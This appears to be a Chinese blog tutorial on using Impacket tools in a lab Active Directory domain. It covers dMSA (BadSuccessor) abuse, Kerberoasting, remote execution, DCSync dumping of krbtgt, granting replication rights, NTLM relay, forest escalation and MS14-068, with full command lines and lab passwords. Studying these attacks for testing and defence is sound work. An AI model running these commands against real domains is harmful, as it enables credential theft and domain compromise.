BadSuccessor 涉及 Windows Server 2025 引入的 dMSA。旧路径中,控制某个 OU 内 dMSA 的创建/写入权限后,可将 dMSA 的 msDS-ManagedAccountPrecededByLink 指向目标账户,并将 msDS-DelegatedMSAState 设置为迁移完成状态。受影响 KDC 在发票时采用被指向账户的身份数据与密钥包。

这里利用的是 KDC 对迁移关系的解释。OU 的 ACE 继承控制新对象的目录访问权限,与 dMSA 在 PAC 中取得目标账户身份是两个过程。

CVE-2025-53779 的补丁增加了 KDC 对双向迁移关系的检查。补丁后只改 dMSA 一侧链接的路径被阻断;进一步使用迁移机制需要对目标账户侧也有相应控制。补丁分析 解释了这一区别。

本版本工具提供 search/add/modify/delete,search 根据 OU 安全描述符报告候选权限,结果还需结合实际令牌、拒绝 ACE、对象类型及 KDC 版本分析。add 创建 dMSA,设置允许取得托管密码的主体及迁移属性;它不会生成并输出一个普通计算机账户式的固定密码。

python badsuccessor.py testjd.local/attacker:Bb123456 -action search -dc-ip 192.168.244.131

托管密码、迁移状态、KDC 条件与后续 S4U 请求应配套分析,见后面的 dMSA 组合示例。

工具之间的衔接

前面的工具各自完成一类动作,组合时需要把上一阶段的输出与下一阶段的输入对应起来。这里仍用 testjd.local 举例:DC 为 dc01.testjd.local / 192.168.244.131,成员机器为 ws01.testjd.local / 192.168.244.132。

下面按几种实验路径展开。每条路径有自己的起点,普通域用户凭据、目标本地管理员、目录对象写权限和 krbtgt 密钥并不能互相替代。

枚举、Roasting 与远程执行

先通过 LDAP 查询用户、计算机和委派配置,再结合服务端点与保护条件筛选可用路径:

python GetADUsers.py testjd.local/attacker:Bb123456 -all -dc-ip 192.168.244.131
python GetADComputers.py testjd.local/attacker:Bb123456 -resolveIP -dc-ip 192.168.244.131
python findDelegation.py testjd.local/attacker:Bb123456 -dc-ip 192.168.244.131
python rpcdump.py @192.168.244.131 -port 135
python DumpNTLMInfo.py 192.168.244.132
python CheckLDAPStatus.py -domain testjd.local -dc-ip 192.168.244.131

LDAP 不可查询时,lookupsid.py 可尝试解析给定 RID 范围,samrdump.py 可尝试 SAMR 用户枚举;二者同样要经过对应 RPC 接口的授权。machine_role.py 帮助确认机器角色,getArch.py 则从 NDR64 支持推断 Windows 架构。

Roasting 阶段请求的是离线口令验证材料。拿到密文之后,还要找到匹配的候选密码,才能使用该账户的凭据:

python GetNPUsers.py testjd.local/attacker:Bb123456 -request -outputfile asrep.txt -dc-ip 192.168.244.131
python GetUserSPNs.py testjd.local/attacker:Bb123456 -request -outputfile kerberoast.txt -dc-ip 192.168.244.131

# 已知用户名列表时,AS-REP 请求可省去 LDAP 查询凭据
python GetNPUsers.py testjd.local/ -no-pass -usersfile users.txt -dc-ip 192.168.244.131

AS-REP 输出与 Hashcat 模式要按实际加密类型对应;$krb5asrep$23$ 可使用 18200,$krb5tgs$23$ 可使用 13100。请求成功不说明密码容易破解,也不说明这个账户在成员机上具有管理权限。

假设实验中已确认 svc_account 是目标的本地管理员,可以比较不同执行机制。以下命令是可选路径,无需依次执行:

python wmiexec.py testjd.local/svc_account:[email protected]
python psexec.py testjd.local/svc_account:[email protected]
python smbexec.py testjd.local/svc_account:[email protected]
python atexec.py testjd.local/svc_account:[email protected] "whoami"
python dcomexec.py testjd.local/svc_account:[email protected] -object MMC20

DCOM 端点不通而 SMB 管道可达时,可以检查 SCMR / TSCH 路径。需要服务或任务以默认 SYSTEM 身份执行时,可使用对应机制;WMI 与 DCOM 对象执行则要关注运行身份和命名空间/对象授权。默认回显模式都会留下各自的临时输出或服务/任务活动,不能用“无上传”判断整个流程没有文件和日志。

本地凭据与目录复制

成员机器的本地管理员权限通常可用于读取该机 SAM / LSA;DCSync 需要在域命名上下文上获得复制秘密数据的权限。两种权限所作用的对象不同。

# 成员机器 SAM / LSA
python secretsdump.py testjd.local/administrator:[email protected]

# 域目录复制,需复制权限
python secretsdump.py testjd.local/administrator:[email protected] -just-dc-user krbtgt

# DC 文件级读取,需该 DC 上的远程管理、文件/注册表等权限
python secretsdump.py testjd.local/administrator:[email protected] -use-vss

# SYSTEM 的 DPAPI / SCCM 数据
python dpapidump.py testjd.local/administrator:[email protected]

LAPS 和 GPP 属于另外的凭据来源。GPP 搜索有遗留 cpassword 的文件;LAPS 查询则要求对目标密码属性的读取和可能的解密授权。列出某台计算机不会自动赋予读取其密码的能力。

RBCD 与目标服务票据

RBCD 包含两次不同的授权:先由目录服务器检查操作者是否能写目标计算机的 RBCD 属性;之后 KDC 检查该属性是否允许指定前端账户代表用户请求后端票据。

rbcd.py 写入配置不等于已经取得票据。还需要控制前端账户的凭据,再通过 getST.py 完成 S4U 流程。上文示例请求的 cifs/dc01.testjd.local 对应 SMB,所以后续先用 smbclient.py 观察可访问共享。

本版本的 DRSUAPI 连接复用通用 RPC Kerberos 实现,getKerberosType1() 请求 HOST/<DC> 服务票据。仅持有 CIFS ST 的缓存不能直接替这个接口完成认证;即使取得了接口所需票据,目录复制仍要检查有效身份的复制权限。

目录 ACL 实验可以直接演示权限变化:

# 操作者已对域根对象具有 WriteDACL,给 attacker 授予复制权限
python dacledit.py testjd.local/administrator:Aa123456 -target-dn "DC=testjd,DC=local" -principal attacker -rights DCSync -action write -dc-ip 192.168.244.131

# 再使用 attacker 的真实凭据请求目录复制
python secretsdump.py testjd.local/attacker:[email protected] -just-dc

owneredit.py 处理所有权,dacledit.py 处理 DACL,两者也有顺序和权限关系。给用户对象写 ACE,改变的是该用户对象的授权;复制权限的 ACE 则要落到域命名上下文上。

NTLM 中继与 LDAP 修改

中继的起点是来源客户端能够向监听入口发起认证。名称解析欺骗只是可能的引导方式,同一广播域也不是所有中继的必要条件。

以 HTTP 来源中继到 LDAPS 为例,来源客户端需能够发出可转发的 NTLM,目标 CBT/EPA 检查需允许这条路径,LDAP 身份还要有后续修改权限:

python ntlmrelayx.py -t ldaps://dc01.testjd.local --no-smb-server --delegate-access

如果中继的是 WS01$,工具可能修改的是 WS01$ 自身的 RBCD 属性。后续服务票据的目标也应跟随这台机器,例如 cifs/ws01.testjd.local,不应直接跳到 DC。

监听 SMB 的 ntlmrelayx、smbserver.py、karmaSMB.py 默认都可能占用 TCP 445。它们是用途不同的服务,使用同一地址和端口时应选择其中一个,或分别配置地址/端口。普通 SMB 文件服务器也不会自动将认证交给另一个中继进程。

MSSQL 中继需另外检查 Windows 集成认证、TLS/EPA 及 SQL 授权。mssqlinstance.py 和 checkMSSQLStatus.py 提供发现及部分保护条件探测,不能从单一 CBT 结果直接推断完整操作链成立。

子域密钥与林内信任

raiseChild.py 面向已控制子域的场景。它利用子域 krbtgt 密钥构造带额外 SID 的票据,再通过林内信任访问林根域。

子域 Domain Admins 并非默认就是林根 Enterprise Admins 的成员。这里的关键是已控制域能够签发身份数据,以及林内信任如何处理这些 SID。林是 AD 的安全边界;跨林信任还涉及不同的 SID 过滤规则。

python raiseChild.py child.testjd.local/administrator:Aa123456 -target-exec dc01.testjd.local

手动分析时,可以分别观察定位域、查询域 SID、复制子域 krbtgt、构造 PAC ExtraSID,以及使用跨域票据的过程。林根 Enterprise Admins 的 SID 是 <ROOT_DOMAIN_SID>-519。伪造票据中的用户、RID、域 SID 需彼此匹配,现代 KDC 的账户检查同样影响结果。

历史漏洞与 RODC Key List

MS14-068 实验需要未修补的受影响 KDC。goldenPac.py 默认在取得高权限票据后继续进行 PSEXEC;仅写出缓存时,位置命令还要使用 None:

python goldenPac.py testjd.local/attacker:[email protected] -w golden.ccache -dc-ip 192.168.244.131 None

getPac.py 展示 S4U2Self / U2U 获取和解析 PAC 的方式,与 MS14-068 的利用前提不同,无需将它当作漏洞探测的必需步骤。

RODC Key List 路径则要求 RODC 专属 krbtgt AES 密钥和对应编号,向可写 KDC 请求,并受该 RODC 的密码复制策略约束:

python keylistattack.py -kdc dc01.testjd.local -domain testjd.local -tf targets.txt -rodcNo 20000 -rodcKey '<RODC_AES_KEY>' LIST

将 Administrator 加入输入列表只表示尝试这个账户,KDC 仍可按拒绝复制策略拒绝返回密钥。kintercept.py 的历史 S4U 校验和漏洞也需要受影响实现,不能拼接成当前环境下的通用绕过步骤。

离线文件与票据分析

文件取得后,离线工具按格式分工。先用 ESE 解析查看库表,不会自动解开 NTDS 机密字段;后者交给带相应解密材料的 secretsdump.py:

python esentutl.py ./ntds.dit info
python esentutl.py ./ntds.dit export -table datatable
python secretsdump.py LOCAL -system ./SYSTEM -ntds ./ntds.dit
python secretsdump.py LOCAL -system ./SYSTEM -sam ./SAM
python secretsdump.py LOCAL -system ./SYSTEM -security ./SECURITY

SAM 编辑会改变文件,应在副本上操作。DPAPI 先解 Master Key,再解对应 Credential / Vault。split.py 对已有 PCAP 按 TCP 连接拆分,实时抓包工具的输入和工作阶段则不同。

票据分析中,缓存内的会话密钥与票据加密部分使用的服务长期密钥也要区分。仅有 TGT 缓存时可以读缓存元数据,但展开 TGT 加密部分的 PAC 还需要 krbtgt 对应密钥:

python describeTicket.py administrator.ccache
python describeTicket.py administrator.ccache --aes '<KRBTGT_AES_KEY>'
python ticketConverter.py administrator.ccache administrator.kirbi
python ticketConverter.py administrator.kirbi converted.ccache

ticketConverter.py 只转换容器格式。当前 describeTicket.py 的输入是 ccache,因此 kirbi 先转换再分析。格式转换不会改变认证身份、票据有效期或授权。

dMSA 请求与迁移状态

下面展示本版本工具在受影响历史实验环境中的参数关系:OU 中有创建 dMSA 的权限,KDC 支持 dMSA,托管密码所需的域密钥与服务可用。应用补丁的 KDC 还需要目标账户侧的合法迁移关系,只有 OU 权限无法完成同一条旧路径。

python badsuccessor.py testjd.local/attacker:Bb123456 -action add -dmsa-name LabDmsa -target-ou "OU=Servers,DC=testjd,DC=local" -principals-allowed attacker -target-account Administrator -dc-ip 192.168.244.131

# 使用有权请求该 dMSA 的主体凭据,而非猜测一个 dMSA 固定密码
python getTGT.py testjd.local/attacker:Bb123456 -dc-ip 192.168.244.131
export KRB5CCNAME=attacker.ccache
python getST.py testjd.local/attacker -k -no-pass -impersonate LabDmsa\$ -self -dmsa -dc-ip 192.168.244.131

getST.py 的 -dmsa 分支构造 PA-S4U-X509-USER,请求中指明 dMSA,服务名由代码选择为 krbtgt/<domain>。KDC 根据授权与迁移状态返回票据、PAC 和相应密钥包,工具再解析 KERB_DMSA_KEY_PACKAGE。这里的 -self 会停止后续普通 S4U2Proxy 流程。

认证参数与实验恢复

支持 Kerberos 的客户端通常可以读取 KRB5CCNAME。使用 FQDN 有助于构造匹配的 SPN;需要分开指定连接地址时,再使用该工具提供的 -target-ip / -dc-ip:

python getTGT.py testjd.local/administrator:Aa123456 -dc-ip 192.168.244.131
export KRB5CCNAME=administrator.ccache
python wmiexec.py testjd.local/[email protected] -target-ip 192.168.244.132 -k -no-pass

# NTLM 哈希输入,仍会完成挑战响应认证
python wmiexec.py testjd.local/[email protected] -hashes ':<NTHASH>'

TGT 可用于向 KDC 请求对应服务的票据;只包含某个服务 ST 的缓存则要匹配目标服务。更换认证材料不会扩大账户本身的权限。

实验会修改的目录属性、Owner、DACL、注册表值、服务和 WMI 订阅应先保存原值,再针对本次创建的对象恢复。dacledit.py 提供备份/恢复,rbcd.py -action remove 可移除指定前端 ACE。恢复时需考虑实验期间其他合法变更,避免用旧备份覆盖它们。

# 仅移除本次添加的 RBCD 前端
python rbcd.py testjd.local/administrator:Aa123456 -delegate-to DC01\$ -delegate-from EVIL\$ -action remove -dc-ip 192.168.244.131

# 本次创建的 dMSA,参数同时标明名称与 OU
python badsuccessor.py testjd.local/attacker:Bb123456 -action delete -dmsa-name LabDmsa -target-ou "OU=Servers,DC=testjd,DC=local" -dc-ip 192.168.244.131

删除实验对象是恢复配置的步骤,文件时间和属性修改不能代替这类恢复,也不能消除已有审计记录。

附录

RPC 接口速查表

RPC 接口 UUID 命名管道 主要用途 impacket 模块
EPM (Endpoint Mapper) E1AF8308-5D1F-11C9-91A4-08002B14A0FA \pipe\epmapper (ncacn_ip_tcp:135) RPC 端点查询 epm.py
MGMT (Management) AFA8BD80-7D8A-11C9-BEF4-08002B102989 任意绑定接口 接口查询 mgmt.py
SAMR 12345778-1234-ABCD-EF00-0123456789AC \pipe\samr 用户/组/计算机管理 samr.py
LSAT 12345778-1234-ABCD-EF00-0123456789AB \pipe\lsarpc SID 转换、策略管理 lsat.py/lsad.py
SCMR 367ABB81-9844-35F1-AD32-98F038001003 \pipe\svcctl Windows 服务管理 scmr.py
DRSUAPI E3514235-4B06-11D1-AB04-00C04FC2DCD2 动态 TCP 端口 (EPM 查询) 目录复制 (DCSync) drsuapi.py
TSCH 86D35949-83C9-4044-B424-DB363231FD0C \pipe\atsvc 计划任务管理 tsch.py
RRP 338CD001-2244-31F1-AAAA-900038001003 \pipe\winreg 远程注册表 rrp.py
NRPC 12345678-1234-ABCD-EF00-01234567CFFB \pipe\netlogon Netlogon (DC 定位) nrpc.py
Mimikatz 17FC11E9-C258-4B8D-8D07-2F4125156244 动态 (EPM 查询) 远程 Mimikatz mimilib.py
WMI (IWbemServices) 9556DC99-828C-11CF-A37E-00AA003240C7 DCOM 动态端口 WMI 查询/执行 dcom/wmi.py
ISystemActivator 99fcfec4-5260-101b-bbcb-00aa0021347a 动态 TCP 端口 DCOM 远程激活 dcomrt.py

工具综合速查表

下表整理本文涉及的工具。认证方式列:P = 明文密码、H = NTLM 哈希 (Pass-the-Hash)、A = AES Key、K = Kerberos 票据 (-k + ccache)、— = 无需认证/离线。

工具 类别 核心用途 认证方式 适用目标 常见使用条件
secretsdump.py 凭据获取 SAM/LSA/NTDS 凭据导出(DCSync/VSS/WMI远程卷影/本地解析) P / H / A / K DC(目录复制/NTDS)与成员机(SAM/LSA) 复制权限或对应远程管理权限
mimikatz.py 凭据获取 远程 Mimikatz RPC 控制 P / H / A / K DC + 工作站(需预部署 Mimikatz RPC) 管理员
Get-GPPPassword.py 凭据获取 SYSVOL 组策略首选项 cpassword 提取与解密 P / H / A / K DC (SYSVOL 共享) 普通域用户
GetLAPSPassword.py 凭据获取 传统 / Windows LAPS 本地管理员密码获取与解密 P / H / A / K DC (LDAP + GKDI RPC) 密码属性读取及加密密码解密授权
DumpNTLMInfo.py 探测 无需凭据获取 SMB/NTLM 协商信息(版本/签名/时间) — DC + 工作站 网络可达
dpapi.py 凭据获取 Windows DPAPI MasterKey/Credential/Vault 解密 —(本地文件 + 密码/hive) 本地 对应密码/SID、系统秘密或已解密密钥
dpapidump.py 凭据获取 远程批量导出 SYSTEM 用户的 DPAPI 凭据 P / H / A / K DC + 工作站 管理员
registry-read.py 凭据获取 本地 Windows 注册表 hive(REGF 格式)键、值和 class 数据读取 —(本地文件) 本地 文件读取权限
regsecrets.py 凭据获取 通过 Remote Registry 读取 SAM / LSA P / H / A / K Windows 远程主机 敏感注册表读取权限
samedit.py 凭据获取 通过离线编辑 SAM + SYSTEM hive 替换本地用户密码 —(本地文件) 本地 文件写入权限
psexec.py 横向移动 将 RemComSvc 注册为服务实现远程执行 P / H / A / K DC + 工作站 本地管理员
wmiexec.py 横向移动 通过 WMI Win32_Process.Create 远程执行 P / H / A / K DC + 工作站 本地管理员
smbexec.py 横向移动 通过 SCM 创建 cmd.exe 批处理服务远程执行 P / H / A / K DC + 工作站 本地管理员
atexec.py 横向移动 通过 Task Scheduler RPC (TSCH) 创建计划任务执行 P / H / A / K DC + 工作站 (Vista+) 本地管理员
dcomexec.py 横向移动 通过 DCOM 对象 (MMC20/ShellWindows/ShellBrowserWindow) 远程执行 P / H(此版本拒绝 K/A) DC + 工作站 本地管理员
GetNPUsers.py Kerberos 攻击 AS-REP Roasting:枚举无预认证用户并提取 AS-REP 离线验证材料 P / H / A / K / — DC (KDC + LDAP) 普通域用户 / 无需凭据
GetUserSPNs.py Kerberos 攻击 Kerberoasting:枚举 SPN 用户并获取可破解 TGS P / H / A / K DC (KDC + LDAP) 普通域用户
getTGT.py Kerberos 攻击 用密码/哈希/AESKey 向 KDC 请求 TGT 并保存为 ccache P / H / A(无 -k 入口) DC (KDC) 普通域用户
getST.py Kerberos 攻击 请求服务票据 ST,支持 S4U2Self/S4U2Proxy 委派协议 P / H / A / K DC (KDC) 普通域用户(基本) / 委派权限(S4U)
ticketer.py Kerberos 攻击 Golden/Silver 本地构造;Sapphire 等模式请求 KDC 长期密钥;请求分支需 KDC 凭据 本地构造或连接 KDC;使用时连接目标 krbtgt/服务密钥
goldenPac.py Kerberos 攻击 MS14-068 漏洞利用(PAC 弱签名绕过 -> 域管) P / H DC (KDC+DRSUAPI+SAMR+LSAT) 普通域用户
getPac.py Kerberos 攻击 通过 S4U2Self+U2U 请求指定身份 PAC;需满足 S4U / U2U 条件 P / H DC (KDC) 调用身份的有效凭据与协议条件
describeTicket.py Kerberos 攻击 解析 ccache;有服务密钥时展开加密部分/PAC —(本地文件 + 密码/哈希解密) 本地 票据文件 + 解密密钥
ticketConverter.py Kerberos 攻击 ccache <-> kirbi 票据格式双向转换 —(本地文件) 本地 文件读写权限
kintercept.py Kerberos 攻击 Kerberos KDC 代理,修改 S4U2Self PA-FOR-USER 实现票据劫持 —(需流量重定向) 攻击机(中转 KDC 流量) 网络中间人位置
keylistattack.py Kerberos 攻击 RODC KERB-KEY-LIST-REQ 攻击:用 RODC krbtgt 密钥枚举凭据 枚举凭据;LIST 模式可省去枚举登录 可写 DC(与 RODC 策略关联) RODC krbtgt AES 密钥
GetADUsers.py AD 枚举 通过 LDAP 查询域用户详细信息(含邮箱/登录时间) P / H / A / K DC (LDAP) 普通域用户
GetADComputers.py AD 枚举 通过 LDAP + DNS 解析枚举域计算机(含 OS/IP) P / H / A / K DC (LDAP + DNS) 普通域用户
lookupsid.py AD 枚举 通过 LSAT RPC 暴力枚举 SID -> 用户名/组名解析 P / H DC (域SID) / 工作站 (本地SID) 普通域用户
samrdump.py AD 枚举 通过 SAMR 用户枚举与信息查询 P / H / A / K DC + 工作站 相应 SAMR 枚举/查询权限
findDelegation.py AD 枚举 通过 LDAP 发现三种委派关系(无约束/约束/RBCD) P / H / A / K DC (LDAP) 普通域用户
netview.py AD 枚举 域内主机会话实时监控(登录/注销/来源IP追踪) P / H / A / K DC + 工作站 管理员(本地登录) / 普通用户(SMB会话)
rpcdump.py RPC 探测 通过 EPM (Endpoint Mapper) 查询已注册 RPC 接口及绑定 — (TCP 135) / P / H (SMB) DC + 工作站 取决于传输方式
rpcmap.py RPC 探测 通过 MGMT 接口 或 UUID 数据库暴力枚举监听 RPC 接口 取决于传输方式 DC + 工作站 取决于传输方式
ntlmrelayx.py 中继/欺骗 NTLM 中继攻击框架(SMB/LDAP/MSSQL/HTTP/WinRM/RDP) —(中继受害者认证) DC + 工作站 可转发的认证、目标保护条件及所需授权
smbserver.py 中继/欺骗 SMB 文件共享与 NTLM 验证 可选 P/H 或计算机账户密钥 攻击机 root (绑定 445)
karmaSMB.py 中继/欺骗 按客户端请求返回指定文件内容 — 攻击机 root (绑定 445)
rbcd.py 权限维持 读写清空 msDS-AllowedToActOnBehalfOfOtherIdentity 属性 P / H / A / K DC (LDAP) 目标对象的 WriteProperty
dacledit.py 权限维持 DACL 自由访问控制列表读写/备份/恢复(授权 DCSync/ResetPwd 等) P / H / A / K DC (LDAP) 目标对象的 WriteDACL
addcomputer.py 权限维持 通过 SAMR/LDAPS 添加/删除域计算机账户 P / H / A / K DC (SAMR / LDAPS) 账户创建权限;配额路径还需未超配额
raiseChild.py 权限维持 子域->林根域提权(ExtraSID Golden Ticket 跨域攻击) P / H DC (子域 + 林根域) 子域管理员
changepasswd.py 权限维持 SAMR / kpasswd / LDAP 修改或重置密码 P / H / A / K DC (SAMR / LDAPS) 目标账户的修改权限
owneredit.py 权限维持 通过 LDAP 读写 AD 对象的所有者 (OwnerSid) 属性 P / H / A / K DC (LDAP) 目标对象的 WriteOwner
wmipersist.py 权限维持 WMI 事件订阅持久化(ActiveScriptEventConsumer + __EventFilter) P / H / A / K DC + 工作站 管理员
smbclient.py 协议操作 交互式 SMB 客户端(文件浏览/上传/下载/删除/管理) P / H / A / K DC + 工作站 认证用户(取决于 ACL)
reg.py 协议操作 通过 RRP RPC 远程查询/添加/删除注册表键值 P / H / A / K DC + 工作站(需远程注册表服务) 管理员
services.py 协议操作 通过 SCMR RPC 远程创建/启动/停止/删除/查询 Windows 服务 P / H / A / K DC + 工作站 管理员
net.py 协议操作 远程 net.exe 等价工具(用户/组/计算机 枚举与管理) P / H DC (域操作) / 工作站 (本地) 管理员(写) / 用户(读)
mssqlclient.py 协议操作 MSSQL 交互式 SQL Shell(TDS 协议),含 xp_cmdshell 执行 P / H / A / K DC + 工作站(MSSQL 实例) MSSQL 登录凭据
exchanger.py 协议操作 通过 RPC over HTTP v2 连接 MS Exchange 服务器 取决于认证配置 Exchange 服务器 Exchange 凭据
tstool.py 协议操作 Terminal Services 管理(qwinsta/tasklist/taskkill/tscon/shutdown/msg) P / H / A / K DC + 工作站 (RDP) 管理员
sambaPipe.py 协议操作 Samba CVE-2017-7494 共享库加载漏洞利用 P / H Linux/Samba 服务器 认证用户
wmiquery.py 信息收集 交互式 WQL 查询 Shell(SELECT + DESCRIBE WMI 类) P / H / A / K DC + 工作站 管理员
getArch.py 探测 RPC NDR64 架构探测 — Windows RPC EPM TCP 135 可达
machine_role.py 探测 通过 DSSP RPC 查询目标机器域角色(DC/成员/独立) P / H DC + 工作站 认证用户
rdp_check.py 探测 测试 RDP 服务可用性及域凭据有效性(部分 RDPBCGR+CredSSP) P / H DC + 工作站 (3389/TCP) 测试凭据
ping.py 探测 ICMP Echo 主机存活探测(原始套接字) — 任意主机 root (原始套接字)
ping6.py 探测 ICMPv6 Echo 主机存活探测 — 任意主机 root (原始套接字)
mqtt_check.py 探测 MQTT CONNECT / CONNACK 检查 MQTT 用户名/密码 MQTT 服务 相应服务访问权限
mssqlinstance.py 探测 通过 SQL Browser (UDP 1434) 发现 MSSQL 实例名 — MSSQL 服务器 网络可达
checkMSSQLStatus.py 探测 检查 MSSQL Channel Binding Token (CBT) 强制状态 P / H MSSQL 服务器 MSSQL 凭据
CheckLDAPStatus.py 探测 DNS 发现 DC,按错误码探测签名/CBT — DC 与域 DNS DNS / LDAP / LDAPS 可达;检查具体错误
ntfs-read.py 文件操作 交互式 NTFS 卷浏览器(直接读取 NTFS 文件系统) —(本地磁盘/镜像) 本地 磁盘读取权限
esentutl.py 文件操作 ESENT/Jet Blue 数据库工具(dump NTDS.dit 等数据库页/表) —(本地文件) 本地 文件读取权限
attrib.py 文件操作 通过 SMB 查询和修改远程文件/目录属性(隐藏/只读/系统等) P / H / A / K DC + 工作站 文件修改权限
filetime.py 文件操作 通过 SMB 查询和修改远程文件时间戳(类似 Linux touch/stat) P / H / A / K DC + 工作站 文件修改权限
split.py 工具 将 PCAP 文件按 TCP/IP 连接拆分为独立文件 —(本地文件) 本地 文件读写权限
sniff.py 工具 pcap 采集与基础报文解码 —(网络嗅探) 攻击机 root (混杂模式)
sniffer.py 工具 通用网络流量嗅探器 —(网络嗅探) 攻击机 root (混杂模式)
badsuccessor.py 权限维持 dMSA 权限候选枚举及对象/迁移属性操作 P / H / A / K 支持 dMSA 的 AD / KDC dMSA 创建/控制权限及匹配的 KDC 迁移检查条件

认证材料与目标

密码、NT 哈希、AES Key 和 ccache 是不同形式的输入。NTLM 使用密码派生的哈希计算挑战响应;Kerberos 使用长期密钥取得初始凭据,再用票据及会话密钥完成后续交换。-hashes 在 NTLM 路径是 Pass-the-Hash,在 Kerberos RC4 路径则是用相应长期密钥请求票据。

AES 输入只适用于支持 Kerberos 的分支。-k 通常允许读取 ccache,缓存缺失时一些工具还会尝试命令行中提供的长期密钥。getTGT.py 只提供初始取票输入;dcomexec.py 在本文源码版本禁止 Kerberos 参数;具体入口的参数并不完全一致。

“目标”也要跟随操作理解:DCSync 连接 DC 的复制接口,LDAP 域对象写入连接 DC,远程进程创建连接实际要执行命令的机器,离线解析连接本地文件。MSSQL、Exchange 等还要求该主机确实部署相应服务。

参考来源

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇